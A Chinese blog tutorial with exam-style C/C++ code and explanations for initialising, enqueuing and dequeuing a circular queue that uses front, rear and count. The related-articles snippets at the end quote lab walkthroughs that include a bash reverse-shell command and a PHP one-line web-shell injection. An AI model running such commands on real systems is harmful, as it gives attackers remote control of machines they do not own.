当前位置: 首页 > news >正文

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录

第3题 基于front、rear和count的循环队列初始化、入队和出队操作

得分点(必背)

题解:基于front、rear和count的循环队列初始化、入队和出队操作

数据结构定义

代码解答

详细解释

1. 循环队列初始化

2. 循环队列入队

3. 循环队列出队

示例

1、初始化队列

2、入队操作

3、出队操作


🌈 嗨,我是命运之光!

🌌 2024,每日百字,记录时光,感谢有你,携手前行~

🚀 携手启航,我们一同深入未知的领域,挖掘潜能,让每一步成长都充满意义。


第6题 基于front、rear和count的循环队列初始化、入队和出队操作

假设循环队列中设置front、rear和count分别指示队头元素的位置、队尾元素的位置和队中元素的个数编写算法,实现基于此结构的循环队列的初始化、入队、出队操作

得分点(必背)

/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;}
// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;}
/*--------以上卷子上得分--------*/

题解:基于front、rear和count的循环队列初始化、入队和出队操作

在这个题目中,我们需要实现循环队列的初始化、入队和出队操作。循环队列使用数组实现,front和rear分别指示队头和队尾元素的位置,count表示队列中元素的个数。以下是代码及详细解释。

数据结构定义

假设循环队列的数据结构定义如下:

#define MAXSIZE 100 // 队列的最大长度
#define TRUE 1
#define FALSE 0typedef struct {int element[MAXSIZE]; // 存储队列元素的数组int front; // 队头指针int rear; // 队尾指针int count; // 队列中元素的个数
} SqQueue;
代码解答
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
/*--------以上卷子上得分--------*/
详细解释
1. 循环队列初始化
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
  • InitQueue 函数用于初始化循环队列。
  • Q 是指向循环队列结构体 SqQueue 的指针。
  • Q->frontQ->rear 初始化为0,表示队列的起始位置。
  • Q->count 初始化为0,表示队列中当前没有元素。
2. 循环队列入队
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}
  • EnQueue 函数用于将元素 x 入队。
  • Q 是循环队列结构体的引用。
  • 首先检查队列是否已满(Q.count == MAXSIZE),如果已满,返回 FALSE
  • 如果队列未满,将元素 x 存入 Q.element[Q.rear] 位置。
  • 更新 Q.rear,使其指向下一个位置 (Q.rear + 1) % MAXSIZE,这是循环队列的关键操作,使 rear 在达到数组末尾时能够循环回到数组开头。
  • 更新 Q.count,元素个数加1。
  • 返回 TRUE,表示入队成功。
3. 循环队列出队
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
  • DeQueue 函数用于将队列中的元素出队。
  • Q 是循环队列结构体的引用。
  • 首先检查队列是否为空(Q.count == 0),如果为空,返回 FALSE
  • 如果队列不为空,将 Q.element[Q.front] 的值赋给 x,即出队元素。
  • 更新 Q.front,使其指向下一个位置 (Q.front + 1) % MAXSIZE,这是循环队列的关键操作,使 front 在达到数组末尾时能够循环回到数组开头。
  • 更新 Q.count,元素个数减1。
  • 返回 TRUE,表示出队成功。
示例

假设有一个循环队列 Q

1、初始化队列
SqQueue Q;
InitQueue(&Q);

此时,Q.front = 0, Q.rear = 0, Q.count = 0

2、入队操作
EnQueue(Q, 10);
EnQueue(Q, 20);
EnQueue(Q, 30);

执行上述操作后,队列 Q 中有三个元素,Q.element = [10, 20, 30, ...]Q.front = 0Q.rear = 3Q.count = 3

3、出队操作
int x;
DeQueue(Q, x); // x = 10
DeQueue(Q, x); // x = 20

 嗨,我是命运之光。如果你觉得我的分享有价值,不妨通过以下方式表达你的支持:👍 点赞来表达你的喜爱,📁 关注以获取我的最新消息,💬 评论与我交流你的见解。我会继续努力,为你带来更多精彩和实用的内容。

点击这里👉 ,获取最新动态,⚡️ 让信息传递更加迅速。

相关文章:

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验

1.题目要求: 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff08;第 h 层&#xff09;…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?

微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

基础岛 - 8G显存验证书生·浦语大模型的Demo

因为以前用过LMDeploy&#xff0c;所以本章的内容相对熟悉。 另外&#xff0c;因为教程写的很详细保姆级&#xff0c;所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论&#xff1a; LMDeploy的模型加载有点慢&#xff0c;但推理速度快&#xff0c;符合预…...

Jangow靶机攻略

搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...

Vue项目通过宝塔部署之后,页面刷新后浏览器404页面

目录 报错 解决方法 报错 将vue项目在宝塔上部署&#xff0c; 当项目挂载到服务器上去&#xff0c;进行浏览器的访问&#xff0c;是能正常访问的&#xff0c;可是当我们在浏览器上进行刷新之后&#xff0c;浏览器会给我们返回一个404的页面。 解决方法 &#xff08;1&#…...

Java一一一简易图书管理系统

Java一一一简易图书管理系统 1. 需求分析 功能需求&#xff1a; 添加图书删除图书更新图书信息查询图书列出所有图书 2. 设计 实体类&#xff1a;Book业务逻辑类&#xff1a;LibraryManager 3. 实现 3.1 Book类 public class Book {private String id;private String t…...

Ubuntu配置carla docker环境

前言: 本文只在以下设备成功运行, 其他设备不保证能成功, 可以参考在自己设备进行配置 环境 ubuntu 20.04carla 0.9.15gpu 3060(notebook) 安装显卡驱动&nvidia-container-toolkit 显卡驱动 安装完成系统后直接在’软件和更新->附加驱动’直接选择470(proprietary…...

超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)

​ FLUX.1模型是什么&#xff1f; FLUX模型是一个开源的AI图像生成模型&#xff0c;由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室&#xff08;Black Forest Labs&#xff09;由前Stability AI核心成员团队成立&#xff0c;专注于开发高级生成式…...

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文&#xff1f; 多租户隔离&#xff1a;自动为接入设备追加租户前缀&#xff0c;后端按 ClientID 拆分队列。零代码鉴权&#xff1a;将入站用户名替换为 OAuth Access-Token&#xff0c;后端 Broker 统一校验。灰度发布&#xff1a;根据 IP/地理位写…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

在WSL2的Ubuntu镜像中安装Docker

Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包&#xff1a; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

无人机侦测与反制技术的进展与应用

国家电网无人机侦测与反制技术的进展与应用 引言 随着无人机&#xff08;无人驾驶飞行器&#xff0c;UAV&#xff09;技术的快速发展&#xff0c;其在商业、娱乐和军事领域的广泛应用带来了新的安全挑战。特别是对于关键基础设施如电力系统&#xff0c;无人机的“黑飞”&…...

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验

Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...

ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]

报错信息&#xff1a;libc.so.6: cannot open shared object file: No such file or directory&#xff1a; #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...

flow_controllers

关键点&#xff1a; 流控制器类型&#xff1a; 同步&#xff08;Sync&#xff09;&#xff1a;发布操作会阻塞&#xff0c;直到数据被确认发送。异步&#xff08;Async&#xff09;&#xff1a;发布操作非阻塞&#xff0c;数据发送由后台线程处理。纯同步&#xff08;PureSync…...

聚六亚甲基单胍盐酸盐市场深度解析:现状、挑战与机遇

根据 QYResearch 发布的市场报告显示&#xff0c;全球市场规模预计在 2031 年达到 9848 万美元&#xff0c;2025 - 2031 年期间年复合增长率&#xff08;CAGR&#xff09;为 3.7%。在竞争格局上&#xff0c;市场集中度较高&#xff0c;2024 年全球前十强厂商占据约 74.0% 的市场…...